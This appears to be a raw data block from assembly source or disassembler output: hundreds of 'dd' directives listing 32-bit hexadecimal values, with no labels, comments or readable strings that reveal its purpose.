dd 0D00315B3h, 0D52A89C8h, 0BAA58FA0h, 9D1D74ECh, 0A1801E34h
dd 211D6EC4h, 659600F1h, 400C8101h, 5D00F378h, 12423277h
dd 0EAA439C7h, 1984098Ah, 0DC87C831h, 0F89F808Fh, 0BB1D4483h
dd 3A414A32h, 2C996049h, 0FCF1C8D0h, 4CF20089h, 0B9EF47A5h
dd 8B004387h, 0F323A738h, 11239F0h, 0CDB22277h, 0DCB48092h
dd 28378597h, 0A9002025h, 840C1Dh, 2E994B23h, 6F67AE11h
dd 0E69CEB1Dh, 0F812BF00h, 0EA974B2h, 0CACF3BF0h, 0B3E7C09Eh
dd 32A4634Eh, 8E36DB00h, 667782D8h, 9B9800BCh, 0CAA91593h
dd 0AD0939D2h, 11BE3h, 6472A34Ch, 14363105h, 0E07B1320h
dd 31003968h, 0A4E177Fh, 0C95ED20h, 0A985B67Eh, 6B7EC049h
dd 0A4A1DA00h, 58DC6581h, 0A0F63D97h, 859A5483h, 40008233h
dd 0DC59209Eh, 1CBB93DAh, 7A4F9C5Dh, 0EDBEEB80h, 1AF6E49Dh
dd 3153B0C0h, 0AFD0A2h, 121FB9A3h, 6D3CE0BAh, 80562300h
dd 0C4AEC1F0h, 833F00FEh, 0C31B0DAAh, 16021D01h, 4A97AC4Eh
dd 0A6A48009h, 25BF7Dh, 538CAED4h, 49F9B907h, 0C96CAB00h
dd 0C495CAACh, 0AF933A9Ch, 617916h, 0BE4163F8h, 0BD00472Ch
dd 739B3523h, 34198Ah, 0D8C24EEEh, 0AD33B645h, 128CF801h
dd 243ADABBh, 3632DE8h, 9F4DCAB3h, 49D04C6Ch, 3AE62331h
dd 0D162800h, 0D6073BEAh, 0E21704BAh, 90CBB702h, 0AD9FAA18h
dd 0FE7219B0h, 0C3A5B101h, 91807D7Bh, 0B303FD5h, 96DE004Fh
dd 0D971864Eh, 940360A6h, 0F27D343Bh, 37CFE072h, 0B7280079h
dd 0F33C925h, 0FB00A526h, 0B1920843h, 463D932h, 8040AAE6h
dd 0A67080F1h, 0F400061Dh
dd 0D523ECFDh, 0AD6C1Bh, 48D27CD6h, 7684D7F9h, 8E6D1800h
dd 70BB7B21h, 0CC3200A7h, 0C25AC0EEh, 8974415Eh, 8F00F7EEh
dd 0A67F7EE0h, 3F5B5DCh, 0CFCA4BAFh, 3BC91280h, 0CD9FCD3h
dd 0ED083200h, 681906D6h, 0E2E40047h, 0FBFDE953h, 0F4E1B8A8h
dd 3474813Dh, 0CB9BB900h, 6F1074FCh, 66A6004Bh, 32464FB3h
dd 0A8052945h, 8AFC71BFh, 0DCFEC0FBh, 0A3005462h, 0C77AE183h
dd 45B7C4h, 122DC8BCh, 87883998h, 0F509D3EEh, 0E81B06h
dd 96BB6D24h, 59AA0009h, 63A1FFB3h, 0E103B63Dh, 0F9FEF2CCh
dd 84CD00Fh, 682B001Bh, 0D7B59C9Eh, 0A8A0E8F7h, 0B3207FE2h
dd 0DC53098Eh, 0E8807E86h, 4A81027h, 3A565904h, 0C2864677h
dd 35FA0018h, 7F518D0h, 40CEE868h, 0EA82C01Dh, 30AAD40Dh
dd 0C7591FCEh, 0E776659Ch, 6A00A190h, 0E90514F1h, 0ECE8E6AFh
dd 8BE279h, 3082B4C8h, 17271824h, 0A0E44F00h, 0D9EBA4FEh
dd 0CD1A0038h, 914AC9F5h, 0DE5AA658h, 5B0041B8h, 0BC67A7EDh
dd 98005E96h, 2328B7C0h, 0A0063AD7h, 0B32A95h, 78A84D07h
dd 63185825h, 0CD45CB00h, 0EEB68310h, 0BBC11343h, 0D4F307D3h
dd 3F7820EDh, 0BE12E37Ah, 3600677Eh, 0CE407C32h, 0A9C2007Dh
dd 5E2190Ch, 0C501265Ch, 0E7201E98h, 2DC49414h, 0C89A0Eh
dd 0F9122C04h, 5FFC8B62h, 3E0FB103h, 0D0CDE77Ah, 765A56h
dd 0F2F04D17h, 5159E6Eh, 1F003BE4h, 0E1D3938Ch, 4D5189h
dd 26B783ABh, 6AF02F27h, 48B62500h, 0B35C1CCCh, 46560ACh
dd 0F54EFECBh, 8113E800h, 2CEBB92Fh, 5C2E768Fh, 0E103354Ch
dd 0DA94D203h, 0D0E591F1h, 7800439Fh, 4E140B06h, 13D2512h
dd 17302141h, 809E3267h, 79420518h, 940D9Dh, 0B448E95Ch
dd 0D4B03AB7h, 0C612C21Ch, 80572B09h, 4A39884Ah, 0A83F00B3h
dd 0DC5AC8D2h, 20166B5Bh, 78A078F3h, 9C3700EEh, 0CE2DE9E0h
dd 8A00D865h, 8849A655h, 0FE6C274Dh, 0FBC00101h, 0FFF0C62Fh
dd 963E8CE5h, 0EF1030h, 4423F255h, 51B2CD17h, 6A094AB0h
dd 0FD9DE233h, 1E9F6C00h, 520056F3h, 0EC49E398h, 1D3953F0h
dd 400E687Ah, 0EB16117Eh, 0AE001F7Ch, 54D16143h, 0B476ACh
dd 0A7298E93h, 85319B11h, 39EA4400h, 78E3A449h, 7C99B2h
dd 47D4C226h, 42008261h, 13FE94ABh, 7F35E4Eh, 0C13EDEFBh
dd 8BA4B334h, 121449A8h, 0A5273B03h, 0F02A0AADh, 364E07h
dd 0DF3F182Fh, 9EF9892Dh, 947D1C00h, 0A2CD4D54h, 1D370561h
dd 8040289Dh, 0EE5F0420h, 5BE35300h, 3F10B50Ch, 0AA4500CAh
dd 1B7B93CCh, 6800BED9h, 0A848C637h, 13CA59DFh, 3621407h
dd 9E0A9F5Ah, 7275E598h, 2B807B00h, 6061E76Ah, 437901CFh
dd 73D4D0E8h, 2F5C61C0h, 185FBF80h, 3DF3E65h, 0B4D91F87h
dd 59642013h, 87506A70h, 62003EE0h, 8077670Ch, 98062994h
dd 24280008h, 0C621F2DEh, 36E08F1Eh, 0C8E53826h, 0C711D100h
dd 793A9F89h, 64F8DEEFh, 0AF900D3h, 0EC3533ACh, 1F884F8h
dd 0B036AF07h, 21D08506h, 0FFC93Bh, 66B74415h, 0E08097E6h
dd 65499D07h, 0AE53DB28h, 7137A8A8h, 2F1200CBh, 7DCA6E1Ch
dd 0A9006CA4h, 0FC0EDDDFh, 0FA021B4h, 0E3B1F128h, 0BFEAE0C3h
dd 16048BB8h, 58006848h, 1B300018h, 0C9BAE82Dh, 0F74900B2h
dd 1098C8BFh, 1300EF36h, 57F41DB8h, 2C1A32D5h, 7E42759h
dd 102E77A7h, 3BD88BE0h, 45FB1618h, 0F6EC2F50h, 0F1C30BA7h
dd 6F076C58h, 93ABD04Fh, 9E76043Ch, 5E2828C3h, 0A620EFCEh
dd 749D6E0Eh, 2B460021h, 5CAAFF8Dh, 0D026B484h, 0DD00245Ah
dd 0F99EA6CBh, 0D3A2045Dh, 8535BB39h, 0E140018Ch, 60321F83h
dd 0E91D67F2h, 7E00BD92h, 77078148h, 0EDE0005h, 0F3F015CEh
dd 0B4732376h, 0C80028DFh, 2AF7CB3h, 65F604B6h, 85E6E7E1h
dd 5FCA0F4Fh, 34A005C9h, 0DA88F216h, 0E2E86600h, 0B71C8CAh
dd 0D6800F83h, 926E247Ah, 0D28DE900h, 0B900B0CBh, 0AFFB9EE7h
dd 752BDEF7h, 5F9A7055h, 5481E0F5h, 3C800200h, 1CF0B87Ah
dd 93EA0E74h, 0A1E07C39h, 0D544DB16h, 2650701h, 0B714BBC5h
dd 5A1CB6CCh, 0D0B7019Bh, 0E04C410Eh, 8D03FE7Eh, 6B753525h
dd 0BFA0A104h, 71D73170h, 7EE50007h, 4F4A7D2Ch, 0E1009817h
dd 95704B10h, 4CA18EAEh, 1181DCBh, 2EDFF8B7h, 0BE853Bh
dd 78FC14ADh, 7499DCh, 3455123Eh, 15927752h, 686D7500h
dd 261B2182h, 0B869753Fh, 0E0340050h, 759E8841h, 1206D809h
dd 0A3818DAEh, 0DDE50011h, 86518E59h, 44007E84h, 58D149A7h
dd 0E8299E2Fh, 16082867h, 6BDB05F0h, 0C09CEA69h, 8F97B19Dh
dd 852AA900h, 58C5A139h, 0AB7009Bh, 8D43FCF5h, 3CECAEA5h
dd 0B0821F00h, 3115561Bh, 54E70EC9h, 0EBE0D9D3h, 83B65558h
dd 8824FE98h, 0B41F4811h, 46F22F40h, 0F40206h, 51949584h
dd 9A0CB7F3h, 0B5C72700h, 8B0503B9h, 102830A6h, 629CFF38h
dd 0B2C94E8h, 0C100A8A0h, 2827AF50h, 7A2A0058h, 0E69DE1DFh
dd 51723DD1h, 1D2E7C00h, 0F7D508CEh, 8236E87h, 8F6D3FE0h
dd 420385EEh, 0C0191669h, 0B770C726h, 7402A2ACh, 0C3B600FAh
dd 3EB2700Bh, 615049A0h, 53E818E1h, 482AD748h, 0C3C00044h
dd 594439FBh, 0C93401E8h, 401A22B1h, 0F52BF435h, 6CA9BD00h
dd 0E19884Fh, 6744001Fh, 0D2451E3Ch, 9638D97Eh, 0A87601CFh
dd 0F631540Fh, 8E854481h, 0F058052Eh, 0B900E1E9h, 6E394782h
dd 3CEF42Ah, 8C0BF204h, 70DA3BF0h, 0CF710C8h, 0E0406FAh
dd 9F273786h, 0C69E6880h, 0CF760784h, 0B0EE03C9h, 488667A4h
dd 8074B139h, 0F35D7F8Dh, 2655C24Dh, 0C8D4h, 0BD06471Ch
dd 0ED5CA419h, 5DD20093h, 0AFD7893Bh, 0FC900097h, 3C8552E7h
dd 0D30096D0h, 4FB8A7Ah, 2FFA253h, 80F6E492h, 9C603E78h
dd 0D13A6A26h, 0A6849ECDh, 1A6CF800h, 22946B9h, 3AA0B669h
dd 14707F85h, 9A7ADB02h, 81F6C221h, 0DEB106F0h, 5FBCB000h
dd 1F408B00h, 49D482CDh, 0ED0C0363h, 81B3ECF6h, 19FFA980h
dd 0E9BB7000h, 601DDE0Fh, 3F0701E2h, 22FA0E79h, 30C020BFh
dd 259C811Ch, 0F64FE8Bh, 8B8D4009h, 242238h, 6E7EF0BBh
dd 335EDB56h, 3B47E000h, 0A2924B88h, 3CFB009Ah, 1C604DF1h
dd 8B13E736h, 0F907B9D7h, 64307D8Fh, 3AA030C3h, 0F000B31Dh
dd 5BEE8CC2h, 0D8A8B5B4h, 0E802A38Fh, 6C9E76EDh, 0B5E0981Ch
dd 0B631002Ah, 4C081602h, 6C7DA234h, 1456D201h, 0DFBE2554h
dd 497EF297h, 90426D48h, 9305D820h, 40826171h, 39BBC6B3h
dd 0C8825215h, 0CE6C9411h, 0E5050878h, 8DC5EB05h, 19911CD0h
dd 90B650F6h, 390B48A0h, 1AADF800h, 0EF7B7077h, 57DEC803h
dd 80C399D4h, 1EC89B0h, 7A4E6E98h, 0D424E0A3h, 0B22666A7h
dd 5E001E46h, 0BA9BC971h, 0F5E3008Fh, 0FF59ED6Bh, 0DA00B601h
dd 841788BEh, 0F76D1C9h, 9D2F1009h, 506AAB00h, 970037C1h
dd 244E5729h, 0CD2BEAh, 0C86973B5h, 0F8ED74FCh, 42D4A924h
dd 0EE139504h, 0F5326C0h, 6BE60060h, 41F78637h, 35917D8h
dd 0C8C20064h, 7173DE57h, 0ADCE0070h, 0FD6444D4h, 301E7616h
dd 4B07B78Ch, 0FA301EACh, 302352D5h, 0E1198A0h, 0DA01E7E9h
dd 116AD194h, 8FDAD59Eh, 0DB3F60E8h, 1526EFB3h, 0F403C338h
dd 0A1BFB900h, 0A311EEE8h, 284EBD0Eh, 1E9D818Eh, 99813B4Fh
dd 4885055Fh, 0A040E014h, 79AEEA12h, 31C7121Eh, 1C0622A5h
dd 0C5F0C18h, 813817A2h, 83F97900h, 0ED56E749h, 132743Ah
dd 0AD7F298Dh, 0CFA3B841h
dd 743DD4B0h, 900F2F0h, 0BE1F5214h, 139F9C73h, 6281317h
dd 81B23659h, 795200E5h, 0F63019D3h, 7C4C9C0h, 1DA3E480h
dd 0C2CB0039h, 6BBF6917h, 450FF283h, 274C40Ch, 60A463C3h
dd 0DA96DDh, 0E209F05Fh, 0DEC61BBDh, 0BAA0951Eh, 0ACD96880h
dd 0F034E0Bh, 0B0FBA3E1h, 7022407Fh, 0D353E764h, 2821BC03h
dd 0C9FEB124h, 3E704DB9h, 7032021Ah, 0E2CABA46h, 8534C860h
dd 6F0C2F0Eh, 864700A3h, 1F3A50A6h, 0E2307Dh, 5F90D4BFh
dd 5C0187B0h, 29D9E1F9h, 0C050CAEFh, 8E7D21h, 3DD3ABC7h
dd 0CB4B076Dh, 394AEC15h, 0EA651DE4h, 0D0A17DDh, 0EC86C0BFh
dd 213C31h, 0D638E182h, 16F4E4EEh, 0BCF26503h, 18F72FC6h
dd 39B81741h, 44005B0Bh, 6A4B507Dh, 789A3Fh, 1447CE7Fh
dd 5E31815Fh, 0BB99E00h, 0B51DD24Bh, 2BC50124h, 3796135h
dd 2D2C303Ch, 5322AF0Eh, 0A1E9E027h, 0C4F4E89h, 163AF8E2h
dd 51DCDD9h, 0B1000B84h, 3FE569FDh, 23BF00B5h, 753A55E0h
dd 63F40622h, 0BEBB603h, 0A250DA84h, 0E61B6099h, 0F6CBEAA6h
dd 823F0078h, 7F2D5130h, 0C81EABC2h, 0A603F738h, 468D14F4h
dd 0BF810411h, 0F0DBF272h, 1B007DB6h, 0DA18D565h, 3C2829h
dd 3D75A79Eh, 5768315Bh, 9CB59D1Dh, 0DDE97242h, 44DEC142h
dd 5872920h, 4805D1A7h, 9918C0CEh, 0BD0022D7h, 0FA077829h
dd 0DAE0E2h, 43F270E8h, 0FCE657C0h, 667C3800h, 0D4FB5120h
dd 0A2AB008Dh, 0CFF85AB2h, 0AD07D285h, 487F245Bh, 927632A0h
dd 0A2DB03F5h, 0EFD52005h, 6197CDC8h, 7487C00h, 0E1B72F16h
dd 626400D3h, 301550C2h, 0C55C98AEh, 5C2B0077h, 1D1E6559h
dd 86AD0181h, 84C9BA67h, 8ACD20B9h, 1FEB7503h, 0A060DDF4h
dd 0F635F9h, 814D45F0h, 0F8BC8F6Ah, 99583Eh, 0DEB8C1Ch
dd 0E86BFFBh, 0A0FE1D98h, 0B00FE340h, 43006282h, 5A509DD0h
dd 658904h, 1C88ECFh, 5580DAE1h, 0D71D52FAh, 0B040C35Fh
dd 99F87369h, 7EAE003Eh, 0F2710A1Dh, 79001538h, 318E2944h
dd 43359Ah, 0AB596086h, 3340D480h, 0CA0E7000h, 0BA4FF1C6h
dd 23910055h, 46F5C42h, 0AD1E4DA4h, 0DCA43DCh, 0EC40FC45h
dd 0C3B7FCh, 0D79717CDh, 5E1F4F3Fh, 0B2691D00h, 31A113D6h
dd 83C00004h, 4C985DA5h, 0DC00C6EAh, 238C382Bh, 177496ADh
dd 6BD706h, 77F5CD4Ah, 13032C14h, 0DBDC89E0h, 431CC078h
dd 0ABF800CEh, 0AEC1EF0Eh, 44007EE8h, 0EA763D61h, 547F04h
dd 7AA81227h, 1B984E56h, 77CECD00h, 7128CC44h, 1DD60064h
dd 3778F05Dh, 981E071Ah, 0B080E1C8h, 0B1336B4Eh, 0F0A0061h
dd 0ECF4D23Ch, 9D0018A1h, 38E4CFCCh, 0EC78A51Fh, 42A40093h
dd 0AD75B05Ah, 0F8758036h, 0BDFF9000h, 56B1E9AFh, 4CF000D8h
dd 849A320Ah, 0D0E5A04Dh, 5F003814h, 0D07B45CBh, 268760D8h
dd 0C18326h, 40535CAFh, 0B000A4ECh, 2744B3F9h, 3A60C421h
dd 0F962CEh, 6C0EA064h, 0A8689E7Bh, 9842510Fh, 945FA09Ch
dd 0E515CA26h, 9E4B5080h, 0B13AA87Dh, 5CC8A200h, 429CE191h
dd 2CB0659h, 6A30D2E7h, 392B2A01h, 9683AC1Fh, 749D6D8h
dd 16F5DBEDh, 4E295048h, 8E001F0Ch, 93B1888Ah, 0A277C1h
dd 0AF383D84h, 19792368h, 2ADBD600h, 1F9840FCh, 0DE15610Eh
dd 603B2720h, 190089D7h, 2EC976CFh, 1E0E86Eh, 29308AEBh
dd 40C73B93h, 4DFB5CC4h, 0F8C29900h, 927217A0h, 48D0C09Ch
dd 0BA75AE21h, 0AA93FD00h, 961CD8F7h, 0F5AF0008h, 0C30477A2h
dd 15F051EAh, 9D939A00h, 0A6AC6A29h, 0AE122E25h, 154D1D09h
dd 2D03B8D1h, 4564C3A2h, 0FAABB008h, 0C0F81D5Fh, 5DF7964Ah
dd 0DE38330Ch, 0CE90831Dh, 0D188EF2Ah, 0AF85EDCh, 0E7A9A014h
dd 8911072Fh, 0A0E32995h, 65E0BF81h, 97A7C700h, 68D0CE52h
dd 0A0895032h, 93340090h, 0D253AAC6h, 0E9E844A3h, 26C86703h
dd 0F6A64820h, 0D7C13EA0h, 12345616h, 2BA30184h, 0ECA14AF8h
dd 0A43A2C8Dh, 98007BB7h, 18C56867h, 7D339BEAh, 23731CCCh
dd 96C700F4h, 698E306Fh, 0CF000472h, 73ABFDBFh, 7C0C9B2h
dd 1C3D5597h, 0F32B106Fh, 8C005119h, 0F03459A6h, 7E06E4h
dd 6C7CC0DAh, 0AA95B87Dh, 483348h, 0DFA7F787h, 1D6D96Bh
dd 0BD5273B3h, 0F48DCA46h, 2900A5D4h, 63A6112Bh, 6DA34h
dd 425D74E6h, 40937D10h, 85AEF203h, 0D1B2ABBFh, 89C4C1FEh
dd 15F6000Eh, 33111769h, 0CB0713C6h, 0E6414A71h, 20848C90h
dd 7B0D01C4h, 0DBB3C545h, 3C1C20B4h, 0D121A200h, 839D6290h
dd 0E5850694h, 115B0A08h, 0E1761D02h, 0D1DD89h, 38A49712h
dd 9E07A00h, 1AA2B0C9h, 0FDC4041Dh, 0EBDE78D4h, 8B0EE681h
dd 7F068B70h, 0AE6067Ch, 8885F13Dh, 0A1919A07h, 35104556h
dd 6399443Ch, 0CF3E5EE7h, 6EEA74A0h, 6030F100h, 0E52A95AAh
dd 3DD27A58h, 0A5008B25h, 80316596h, 3476E2C2h, 3DEAD00h
dd 1FC026C1h, 434B096Ch, 86F799B2h, 0E198665h, 0E117A324h
dd 3D3E1C40h, 9D00FAD6h, 0BC96CD7Bh, 889F8Eh, 1DA5A62Bh
dd 879836E5h, 5B00E079h, 0D9E4723Bh, 190BD14h, 44C781D4h
dd 0C16E629Eh, 4E48D873h, 36EAC100h, 0DFC95E10h, 65F700E3h
dd 0C6B12146h, 0BA00DD7Dh, 146F9094h, 0FAA39Fh, 0D4BC722Eh
dd 6AB33621h, 8794DB00h, 5655D0C2h, 960B3A83h, 51FAFC01h
dd 30A7ABACh, 8D98655Ch, 83008A7Fh, 26408B2Ah, 78FB2E5h
dd 4DFD4633h, 0BA8CB02Ch, 43171247h, 0A0004285h, 35C9D13Bh
dd 71EF0BD8h, 0F2004C5Dh, 0FB9D6E7Dh, 80D2B938h, 0C105073Eh
dd 1E7599ECh, 408C4B6Dh, 5CCB22DDh, 170E6A1Ch, 0E0FFF442h
dd 2402C034h, 9C82007Dh, 99A7C435h, 1D001C54h, 5AF6F2BAh
dd 4718078h, 0E6190731h, 0C414C056h, 0FA0339A6h, 1A6A66A8h
dd 4AB90CCh, 20676DEh, 0CD911889h, 2CC898FFh, 0D80C0B9Eh
dd 113472FDh, 2282002Eh, 0FA814F94h, 8D00A84Ch, 0FE0B71A5h
dd 0D4AF59h, 1033B104h, 0D36A4235h, 0FB401100h, 0F7B3901Ch
dd 0CAF4003Eh, 1AF648EFh, 3B3919C8h, 0CCFCA4C4h, 8C55C900h
dd 0F58A856h, 5FF501A1h, 5E00660Fh, 65115BCAh, 0A018BB2Ch
dd 405D6A0Fh, 0D074048Fh, 32413D6Fh, 8B4BFE00h, 7E87BAE9h
dd 0CDAF8407h, 0E770CBB3h, 1D277852h, 80C84E54h, 0FCC1C9CFh
dd 0A80C42EEh, 58FE5D5Ch, 0F4FE0B3h, 0A90B2D62h, 9BC5409Fh
dd 9D0508F8h, 0EB9ACF00h, 77D9F43Ch, 4B261F6Eh, 0B05595A1h
dd 57ABD700h, 1D1222DBh, 0B01307Ch, 6E3324Bh, 3064C789h
dd 48C42C79h, 86C68094h, 0C16D64BAh, 7EC9BF00h, 363B676Eh
dd 0E30005Ch, 9122F1C4h, 3900BB0Ch, 0C6856DBAh, 7A4AF29h
dd 46E0BC7Ah, 882710F7h, 0CA7075B8h, 1CD09100h, 47AA8C71h
dd 7F275BBh, 60A83D6Bh, 25570C8h, 5C00DD59h, 0EBFCC41h
dd 3AD3AAh, 0CE9F44B8h, 0F19ADC1h, 4FC7A11Dh, 0B40EB556h
dd 5A6E6040h, 7777211h, 7D9404E8h, 5856505Ch, 0F000D9F1h
dd 3DD3B871h, 0B69ACB2h, 51530B8Ch, 0E7430B80h, 83013473h
dd 5DC288D0h, 1AE81B4Dh, 807C001Eh, 0D33BCC1h, 2C009E9Dh
dd 0DF99DD0Ch, 3FE991h, 0B9CF77B0h, 0E3522001h, 64CEDA0Ah
dd 57D60457h, 3BB42041h, 67F804h, 0C709A83h, 10BA5AF8h
dd 930B807Ah, 807D5C75h, 0AC15520Ah, 8630C056h, 97D5DD96h
dd 0DCFF7473h, 610B432Eh, 0AC5A63h, 0D450A115h, 665600A6h
dd 3E4DB4C4h, 2579A210h, 0D0AE70C1h, 50E820E1h, 0BC7E003Ch
dd 33A6B598h, 415ACB09h
dd 3A9C0B1Fh, 30BCF9Ch, 20A30889h, 8C82C170h, 70F92401h
dd 500C1737h, 7928EFCh, 3D66D85Bh, 0FA7D3C4h, 502E51A1h
dd 9B3E5380h, 0DEACDB03h, 8EF39EEh, 27B1AFD8h, 35D64407h
dd 5600984Ah, 69D0A9DCh, 501306A8h, 4926E362h, 0CD5096E4h
dd 6F0F67ACh, 60D53134h, 0D1F6FD1Ch, 6CCE2A39h, 855803BCh
dd 272103DBh, 0A7D95110h, 0E6630A7Dh, 80D00CCBh, 39E27928h
dd 6B1DB90Bh, 0C48095F0h, 2D139718h, 0B487B38h, 0B07510AAh
dd 3F6E1380h, 3D02EF08h, 4649766Ch, 0E1F4A06Ah, 3B96894Eh
dd 29B08811h, 5E855061h, 0F5179800h, 0CC0BA331h, 16FF60Fh
dd 3787B626h, 80B7D392h, 0C01FEAD9h, 0BC3113h, 0CAFDF13Fh
dd 5D02CF40h, 0A3D44918h, 798FF329h, 0E2F8006Eh, 0C6B630ACh
dd 1F0048F0h, 60E9263Ch, 371DA6B7h, 0C438A004h, 0F07000CFh
dd 0E099B1Eh, 3A2E5B31h, 0A8529F00h, 8000E304h, 0B70E6F0Bh
dd 92714762h, 0E7E50348h, 0C5C812C4h, 7C42B6F0h, 26A82300h
dd 0A6D2BAF4h, 0BD223743h, 12982AF1h, 313909F0h, 0A81D8410h
dd 105BB830h, 0CA3A944h, 3AB7708h, 11380799h, 50C27927h
dd 20B8CB69h, 0C44DDC23h, 0A2F81100h, 0F47B80C3h, 0C9B0042h
dd 0F3F64C55h, 0BC606741h, 0E5635631h, 80B661D0h, 711473FAh
dd 658C0145h, 769C200Eh, 524FF00Ch, 2908E9h, 28FE4B4h
dd 749FD97Ch, 0B4ABC32Ah, 4F441D15h, 7C1475F0h, 80F83E49h
dd 0E9D0B595h, 0EE8A891h, 1D9F06E8h, 0F956AE74h, 0BB3DF001h
dd 66E11076h, 3D92E424h, 0B1E46729h, 0A2FC8847h, 0C5EE5A00h
dd 0C71A09E7h, 1442F843h, 0FCD6748Ch, 40741D8Fh, 207C683Ch
dd 622AFBDFh, 6400B0E4h, 21E1221Fh, 34613F67h, 0C019388Ch
dd 0D903277h, 80A93Dh, 289B342Dh, 1ACA5E8h, 2CB67CE6h
dd 0D0F6F432h, 69002152h, 0A3CCD94Ch, 1F756309h, 1C539AF0h
dd 20585BACh, 5DB938C0h, 3616D00h, 8D635EDFh, 0F14A03Ah
dd 4633883Eh, 0FBA0C100h, 1B2A4C29h, 9801F9F5h, 49318025h
dd 0FD7E2728h, 8BEC1FABh, 7445004Bh, 0E7959FA0h, 10ACB100h
dd 652CCE31h, 3440F977h, 80206872h, 59C00A40h, 0EE195DDEh
dd 0C0331D17h, 7FA2CFEAh, 8759B083h, 0FE693800h, 0ABBA70F4h
dd 826A39BFh, 0BD168D80h, 0B0351573h, 0E894D700h, 0F855AC9Eh
dd 0CF2C06D2h, 5A098412h, 0FE929D00h, 40D0962Dh, 4B79C00Ch
dd 79F3DC42h, 4D56891Ch, 0DFC5AECFh, 150063DFh, 0CB2CD8CDh
dd 0C1D46B9Fh, 2EEB0300h, 24F8B104h, 1671A400h, 0E16B5ADBh
dd 75483AA3h, 80CAD794h, 71097BC6h, 0B6382375h, 66C8019Fh
dd 0BA96B982h, 11318E0h, 0B2E5BF12h, 42E9289Dh, 7B234EF4h
dd 0C4107FEh, 4041E1A7h, 638D0E8Fh, 20B8A950h, 2589E0A0h
dd 0AD378682h, 7C2D00B1h, 3BC8B05Ah, 0EF0713C3h, 0C5F8EC05h
dd 0D94FDCA0h, 7A5E39h, 445FFA65h, 0D100C73Fh, 729D4007h
dd 1D202Ah, 602E355Ah, 368093AAh, 9EDCCC00h, 0B2D04DB8h
dd 0F5E90029h, 373FA699h, 0F879A36Dh, 0A0AAA100h, 39FAA44Bh
dd 3093600Fh, 209D3F14h, 8A087FEh, 9FF839E0h, 0E0049F0h
dd 0C298BF78h, 77AE4h, 32EB271Ah, 729ECA2Ch, 75B17103h
dd 0CA31795Dh, 574481AAh, 508FBE16h, 4401BC9Fh, 82520CE5h
dd 65AD3310h, 1CC140CAh, 0C106159Bh, 0A7001035h, 9EE3CF39h
dd 63033DB1h, 0C5AD38EAh, 0DC5CE07Ah, 49133FF9h, 7D24BA00h
dd 843C4B31h, 0CF3738A4h, 4780C07Fh, 0D3854Ah, 9C63E14Fh
dd 8CF9D8A2h, 0FAB73Dh, 4EC815BCh, 1975CEDh, 0BF05E264h
dd 8A2D9FC7h, 8C8AE941h, 93562C80h, 73224h, 58AFD9D2h
dd 7AE13EC9h, 3183F901h, 99FEAC97h, 0AAEEDE8h, 5C1A98F6h
dd 2EE06290h, 0B457ACA0h, 0D7004572h, 0E8CF9395h, 0FE8DA1F6h
dd 9BB10C50h, 233061A8h, 7195888h, 94A28085h, 36AAD15Eh
dd 98A0DAE5h, 7208E2BCh, 8A2FC600h, 0F244EA9Dh, 0EB0E0A32h
dd 408C0C82h, 80DD5230h, 2728C860h, 0FE75B681h, 34283909h
dd 0B71C3448h, 47DC802Dh, 0A77298EFh, 56F69A00h, 0B6452E1Ch
dd 5177008Bh, 38FB3429h, 3F0FF3EFh, 0E04AA0C2h, 2F6E2804h
dd 0B899C379h, 6987C29h, 40006A7Bh, 0A248BE4Eh, 908430AAh
dd 0F7C31044h, 0C464039Eh, 80CD1C88h, 0ACE363Ah, 70E3BF47h
dd 209760A0h, 0C8A99666h, 0FCD2D49Dh, 7AAE901Eh, 8E04B9F1h
dd 1B7C21A7h, 7E1DE400h, 5B2BE6h, 9B0AA3CAh, 3F88FF80h
dd 0A91CA530h, 5CE2240h, 4ED4A428h, 0AF8F00B9h, 0AB18F347h
dd 5E25E709h, 46CC18E1h, 6985E906h, 0C0B6132Bh, 0E15B5DD2h
dd 4F0AD30Eh, 9B6C60A2h, 1F3C089h, 0F0AE7BA6h, 60FC0176h
dd 0B005DD11h, 0FB8A064Fh, 9F08C460h, 7029488Dh, 8402760Ch
dd 0BD0062F8h, 0E8CD5F19h, 72459552h, 1CEF13BEh, 0E9100241h
dd 0BC029D9Ah, 9FC8B02Ch, 774422Fh, 65737B15h, 23C31F27h
dd 0C4191206h, 71784083h, 80265BEAh, 11DECF1Ch, 42A20880h
dd 4949BB3h, 46E1137Ah, 30BC8020h, 0F53A0AA0h, 328A83FEh
dd 2212F04Ah, 45072D51h, 647A4C03h, 2EDB9830h, 81DC3EC7h
dd 6B9D7983h, 0D2A1201Fh, 5758E023h, 0B185118h, 0B91BB1h
dd 0A5B015CEh, 3205C598h, 93A2412Ch, 58204913h, 80537318h
dd 943CE9C1h, 0D17580CAh, 0B32759D3h, 0AB330052h, 0FB1BC27Ah
dd 0CECB164h, 409FACA8h, 0D362D500h, 6BE18FAFh, 802C994Ah
dd 0B843F0Dh, 0C7804CFFh, 0E93D44B5h, 80B7DC30h, 1BC7C92h
dd 6C66BF61h, 0C86FFC38h, 83D25EDh, 9D4900E5h, 11904C57h
dd 0D8418ACh, 209851FAh, 9DC6DF09h, 27081A50h, 0CAE04EE8h
dd 120C5ECBh, 485B7Ah, 9EEC2898h, 244C158Dh, 8F4D7D88h
dd 0DDBE08E8h, 0CBE98AB7h, 281F40C0h, 0C200F673h, 20D14182h
dd 0DBF8E4h, 13CC23AFh, 0E59E763Ah, 41872099h, 61BE452Ch
dd 7883C757h, 0DC803508h, 0E0A9C91Fh, 0D39D2010h, 39793C00h
dd 36B086Ah, 4878078Eh, 0A09995C6h, 5F5528AEh, 717D34Ch
dd 0B283729Bh, 404E84FAh, 0DE62F220h, 9E23000Dh, 53390AAEh
dd 444989C4h, 0E14530ECh, 394D046h, 2AB4247Fh, 0B6C91EFAh
dd 7840D66Eh, 78990B57h, 0A0F1CC89h, 64677530h, 13DB07F0h
dd 0E786316Dh, 0F591D19Ah, 1C9823B9h, 413517CFh, 0F6C4ABh
dd 9882B696h, 280A2F3Bh, 0D851EA0Dh, 0EDAD62C0h, 13F2112Eh
dd 0F9E9C648h, 1BED00B9h, 29751332h, 40484450h, 224F003Ch
dd 9456D1E8h, 0A0B9FA80h, 32FAB6BFh, 0B2D0096Dh, 0A52A8844h
dd 9202B820h, 491762C3h, 3358464Fh, 4D21CA42h, 0D03306F0h
dd 83972B00h, 0C8C57E90h, 193E44A3h, 110876E9h, 18248B78h
dd 0B71A4178h, 2495C8EAh, 85C4724Dh, 0AC40D0CAh, 0B212AD6h
dd 0F72702B5h, 9DFC18EEh, 36AD7080h, 191D7A2Fh, 0D93E7848h
dd 356C00E0h, 414DC120h, 0FD86F83Ah, 27948889h, 0C30A54A7h
